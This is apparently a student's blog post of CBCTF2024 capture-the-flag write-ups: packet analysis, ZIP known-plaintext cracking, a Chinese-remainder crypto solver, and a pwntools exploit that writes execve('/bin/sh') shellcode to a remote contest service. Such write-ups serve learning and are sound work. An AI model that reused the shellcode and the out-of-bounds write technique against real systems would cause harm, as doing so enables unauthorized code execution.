Featured image of post CBCTF2024部分WP和反思

CBCTF2024部分WP和反思

一次让我认识到自己能力之弱的新生赛

MISC

真假流量

黑客小李开发了一个恶意软件,他说他使用了一种混杂技术,把恶意流量包裹在大量真实流量里面,这也就可以防止防火墙检测出来。 聪明的你可以帮忙反制黑客小李吗? 格式:CBCTF{ip} 最大可尝试5次

下载得到一个流量包,wireshark打开alt text

大致一看没什么明显的可疑流量,观察发现使用有TLSv1的信息,是一个较旧的协议版本,可能存在安全性问题,无法流跟踪于是1_ws.col.info == "Client Hello (SNI=cdn-dynmedia-1.microsoft.com)"进行筛选 alt text alt textalt text
发现十六进制包头部分存在变化,但是明文没有变化有些奇怪,提交了这个ip尝试flag,然后就通过了

不要作弊

看似正常的运维时的截图,实则隐藏了社长要传达给参加比赛的同学们的某则指示…. flag格式为:CBCTF{} 例如:flag{test_flag} 改为 CBCTF{test_flag}

下载得到一个图片,丢到随波逐流里 alt text
发现有隐藏压缩文件,binwalk和foremost都提取一次试试(由于binwalk和foremost提取出的压缩文件可能略有不同所以两个都尝试一下) alt textforemost提取(不会自动解压缩文件,它只提取出压缩的文件。如果压缩文件被嵌入到二进制数据中,你需要手动解压缩这些文件,幸运的是这里直接提取出了一个zip文件) alt textbinwalk提取(提取的文件只是压缩数据或嵌套数据本身,并且不一定会自动解压缩或进一步处理提取的内容。对于压缩格式的支持受限于它所识别的签名,可能无法提取一些较不常见或较新格式的压缩文件。所以这里提取出了zlib文件

我们先尝试通过zip文件去解决alt text
打开发现两个文件,可能是尝试明文攻击,联想到社会工程学先搜索一下文件试试alt text
发现一个PDF一个WORD文件,下载下来压缩进行对比alt text
发现两个PDF文件CRC32压缩和大小相同,是同一个文件可以进行明文攻击,把提取出的zip文件中的doc文件删除后到ARCHPR中 明文攻击 alt text
加密秘钥恢复成功,在doc文件中末尾找到flag alt text

CRYPTO

EQUATION

\[ a \cdot m + b \equiv c \mod \text{ } \]

alt text
查找得到用中国剩余定理求解多个方程且模数互质的问题

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from sympy import mod_inverse
from functools import reduce

equations = [
    (424507, 258891, 246908, 696833),
    (725635, 532266, 196020, 913873),
    (525257, 615406, 320693, 1041077),
    (83144, 77839, 378617, 739631),
    (118240, 112107, 439081, 659539),
    (689363, 382486, 909472, 1013741),
    (689679, 637871, 783227, 901529),
    (255640, 331169, 471838, 594311),
    (583522, 135573, 846849, 1010203),
    (420869, 290426, 411805, 618377),
    (945219, 32778, 905582, 1021651),
    (620301, 441932, 117862, 869233),
    (663631, 852415, 494895, 867619),
    (699620, 557493, 53174, 730571),
    (59702, 84201, 265515, 854299),
    (20572, 600277, 106738, 765319),
    (681296, 883108, 245309, 900577),
    (100959, 581845, 520231, 716789),
    (149718, 384454, 362305, 876761),
    (373486, 791525, 183314, 847477),
    (550280, 313487, 490116, 601397),
    (318232, 430375, 409959, 934907),
    (79907, 133279, 451022, 561917),
    (171513, 94683, 332805, 615497),
    (426495, 420294, 285501, 619079),
]

# 扩展欧几里得算法来求解模逆
def solve_congruence(a, b, c, mod):
    # 方程反求
    rhs = (c - b) % mod
    a_rev = mod_inverse(a, mod)  # 计算a的模逆
    m = (a_rev * rhs) % mod  # 求解m
    return m

# 使用中国剩余定理求解
def chinese_remainder_theorem(congruences):
    def extended_gcd(a, b):
        if b == 0:
            return (a, 1, 0)
        g, x1, y1 = extended_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return g, x, y

    def crt(congruences):
        x = 0
        M = reduce(lambda x, y: x * y[1], congruences, 1)
        for ai, mi in congruences:
            Mi = M // mi
            g, inv, _ = extended_gcd(Mi, mi)
            if g != 1:
                raise Exception(f"Moduli are not coprime: {mi}")
            x = (x + ai * Mi * inv) % M
        return x

    return crt(congruences)

# 存储所有的同余方程
congruences = []
for a, b, c, mod in equations:
    m = solve_congruence(a, b, c, mod)
    congruences.append((m, mod))

# 使用中国剩余定理合并所有解
flag_as_int = chinese_remainder_theorem(congruences)


# 要将整数转化为字节来得到原始flag
def int_to_bytes(x, length=None):
    # 确定所需的字节长度
    if length is None:
        length = (x.bit_length() + 7) // 8
    return x.to_bytes(length, byteorder='big')

# 将整数转回字节,得到原始flag
flag_bytes = int_to_bytes(flag_as_int)
print(f"Flag as string: {flag_bytes.decode()}")

PWN

corrupted

With ELF corrupted, opportunity coexists.

alt textalt text VMMAP查看空间,发生可写可执行段刚好在main函数上,打ret2shellcode alt text IDA中查看,match函数每次发送八个字节,v4不能大于3,但是当然可以小于0,于是每次输入match函数和verify函数的偏移值,将match函数导向verify函数,然后我们第二次将shellcode打包分块发送过去,这样最后就可以执行完shellcode了,注意每次返回时地址偏移i逐步调整shellcode阶段,shellcode长度22,三次发送足以完成

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#打ret2shellcode
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
#p=process("/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted")
p=remote("training.0rays.club",10093)
#gdb.attach(p)
elf=ELF('/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted')

shellcode='''
xor 	rsi,	rsi			
push	rsi				
mov 	rdi,	0x68732f2f6e69622f	 
push	rdi
push	rsp		
pop	rdi				
mov 	al,	59			
cdq					
syscall
'''
payload=asm(shellcode)

match_addr=elf.symbols['match']
verify_addr=elf.symbols['verify']
in_addr=verify_addr-match_addr #可写段上写入负数并跳转,注意//8,每次读4字节
for i in range(3):
    p.recvuntil("> ")
    p.sendline(str(in_addr//8+i))
    p.sendlineafter(">",str(unpack(payload[i*8:i*8+8],'all')))

p.recvuntil("> ")
p.sendline(str(1))
p.sendlineafter(">",str(1))
p.interactive()

做的题实在是太少了,大一给自己定了很多目标却也很多没完成,太空太远了,就会畏惧,就会找身边可以利用的借口推脱,回过神虽然前进了却不是走在自己想要的路上。憧憬只能是游戏而不是现实,现实不能存档读档,也没有那么多让你思考的时间,所以才要一刻不停地学下去,掌控好节奏,才会有转机吧。。

剩余复现在update那篇文章

本博客已稳定运行
发表了14篇文章 · 总计3万2千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...